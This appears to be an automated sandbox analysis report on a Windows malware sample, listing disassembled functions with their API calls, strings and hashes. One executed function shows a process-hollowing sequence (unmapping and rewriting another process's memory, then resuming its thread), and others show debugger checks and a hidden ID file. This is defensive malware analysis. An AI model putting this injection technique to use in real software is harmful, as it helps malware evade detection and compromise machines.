Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F247, 0044F25B

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Analysis Process: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exePID: 7636, Parent PID: 7552COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 02390110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02390156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0239016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02390255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02390270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02390283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0239029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 023902C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 023902E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02390304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0239032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02390399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 023903BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 023903E1
ResumeThread.KERNELBASE(00000000), ref: 023903ED
ExitProcess.KERNEL32(00000000), ref: 02390412

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: fb171e11ece74f7a4c45e7ed77955ddbdc2061a11152acc531fc5a584743f4d0
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 94B1C674A00208AFDB44CF98C895F9EBBB5FF88314F248158E949AB391D771AE41CF94

Function 02390420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02390533

Strings

d, xrefs: 02390584
mfoaskdfnoa, xrefs: 02390520, 02390523
0, xrefs: 02390492
saodkfnosa9uin, xrefs: 023904DA

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: b68bdcfdf82114da697393975a413de1c1a350e7417259a9bf2fd38fe91cdfdc
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: AB511770D08388DAEF15CBE8C849BEDBFB6AF11708F144058D5487F286C3BA5659CB66

Function 023905B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 023905EC

Strings

o, xrefs: 02390600
apfHQ, xrefs: 023905E2, 023905E5

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: fbfe33498059ec561b852af1d2b48702ef09029b01877b067966fe6bafe741aa
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 68012170C0425CEEDF14DB98C5183AEBFB5AF42308F1480DDC4592B242D7769B58CBA1

Function 022FD7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 022FD7EE
Module32First.KERNEL32(00000000,00000224), ref: 022FD80E

Memory Dump Source

Source File: 00000006.00000002.1512672920.00000000022FD000.00000040.00000020.00020000.00000000.sdmp, Offset: 022FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22fd000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 27feced97bbc611a50d4f24ff2afb0ff17b3dd4531675abdab1ed5355e3e6db5
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 0FF096322107116FD7603BF5A88DBAEF6ECAF49A25F500638E742950C4DB70E8468A61

Function 022FD485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 022FD4D6

Memory Dump Source

Source File: 00000006.00000002.1512672920.00000000022FD000.00000040.00000020.00020000.00000000.sdmp, Offset: 022FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22fd000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 58770718c524e69544f4dad77c77f86e191f07a0120440a16d5569de48353d37
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 30113C79A00208EFDB01DF98C985E99BBF5AF08750F0580A4FA489B361D371EA90DF80

Non-executed Functions

Function 023B6437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 023B644E

Part of subcall function 023B9636: __calloc_impl.LIBCMT ref: 023B9645

__calloc_crt.LIBCMT ref: 023B6472
_free.LIBCMT ref: 023B6480
__calloc_crt.LIBCMT ref: 023B648E
_free.LIBCMT ref: 023B649E
_free.LIBCMT ref: 023B64A4
__copytlocinfo_nolock.LIBCMT ref: 023B64B3
__setmbcp_nolock.LIBCMT ref: 023B64D4
_free.LIBCMT ref: 023B64E2
___removelocaleref.LIBCMT ref: 023B64E9
___freetlocinfo.LIBCMT ref: 023B64F0
_free.LIBCMT ref: 023B64F6

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 955a8ff7283d8868fa00e569a2839599ac4b8e51a3db8c02b451a7e3a2961627
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: C521D875204A00AEE7337F65DC02ECB7BDEDF41760F50802AE78995CA6EB628550CF61

Function 023B3F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 023B3F51

Part of subcall function 023B5BA8: __getptd_noexit.LIBCMT ref: 023B5BA8

__gmtime64_s.LIBCMT ref: 023B3FEA
__gmtime64_s.LIBCMT ref: 023B4020
__gmtime64_s.LIBCMT ref: 023B403D
__allrem.LIBCMT ref: 023B4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 023B40AF
__allrem.LIBCMT ref: 023B40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 023B40E4
__allrem.LIBCMT ref: 023B40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 023B4119
__invoke_watson.LIBCMT ref: 023B418A

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 8ad5c5055cc9c4108c035e2f0c7d8512a40fe0a63b2042a7333f2feeac08493d
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 2B711671E00716BBE725DE78CC50BEAB3B9AF10764F14427AE714E7A81E770DA408B94

Function 023B650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 023B6547
__calloc_crt.LIBCMT ref: 023B6598
__lock.LIBCMT ref: 023B65AE
__copytlocinfo_nolock.LIBCMT ref: 023B65BF
_wcscmp.LIBCMT ref: 023B65F9
__lock.LIBCMT ref: 023B6610
__updatetlocinfoEx_nolock.LIBCMT ref: 023B6622
___removelocaleref.LIBCMT ref: 023B6628
__updatetlocinfoEx_nolock.LIBCMT ref: 023B6647

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 7ae7847b92c9effc48de75fb59b915dd92e8e2e865a11d3788ed94a89473ffcd
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: F4412332904304AFDB22AFB4DD86BDE7BEAAF48314F10402EEB0496992CB759644DF15

Function 023B84AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 023B84B1
_free.LIBCMT ref: 023B84E2
_free.LIBCMT ref: 023B84F5
_free.LIBCMT ref: 023B8513
_free.LIBCMT ref: 023B8525
_free.LIBCMT ref: 023B8536
_free.LIBCMT ref: 023B8541
_free.LIBCMT ref: 023B8565
_free.LIBCMT ref: 023B8581
_free.LIBCMT ref: 023B8597
_free.LIBCMT ref: 023B85BF

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 2b5ec1c454cf376b0cfec392202b1d4ce353f16f4a3b7bfc1094a6e72113b194
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 27318471900254DBCB226F54FC848C977AAFF14325704862BEB49976A0CBF459C9AFA4

Function 023DFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 023DFC1F

Part of subcall function 023C169C: std::exception::_Copy_str.LIBCMT ref: 023C16B5

__CxxThrowException@8.LIBCMT ref: 023DFC34
std::exception::exception.LIBCMT ref: 023DFC4D
__CxxThrowException@8.LIBCMT ref: 023DFC62
std::regex_error::regex_error.LIBCPMT ref: 023DFC74

Part of subcall function 023DF914: std::exception::exception.LIBCMT ref: 023DF92E

__CxxThrowException@8.LIBCMT ref: 023DFC82
std::exception::exception.LIBCMT ref: 023DFC9B
__CxxThrowException@8.LIBCMT ref: 023DFCB0

Strings

leM, xrefs: 023DFCA8

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: edcc39864c5fb64672457d7b5d7a682da2621578dcff257213dd35f3eab76894
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60112879C0420DBBCF00FFA5D855CEEBBBDAA04344F50856AAD5897241EB78A7488F94

Function 0239F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0239F01F

Part of subcall function 023B1602: __FF_MSGBANNER.LIBCMT ref: 023B1619
Part of subcall function 023B1602: __NMSG_WRITE.LIBCMT ref: 023B1620

_malloc.LIBCMT ref: 0239F02B
_wprintf.LIBCMT ref: 0239F03E
_free.LIBCMT ref: 0239F044
_free.LIBCMT ref: 0239F065
_malloc.LIBCMT ref: 0239F06D
_sprintf.LIBCMT ref: 0239F0C0
_wprintf.LIBCMT ref: 0239F0D2
_wprintf.LIBCMT ref: 0239F0DC
_free.LIBCMT ref: 0239F0E5

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 67e6bfe499e82b4b1289c8c6739e8f56f9b270297d1f37d0c335df4d111a2f83
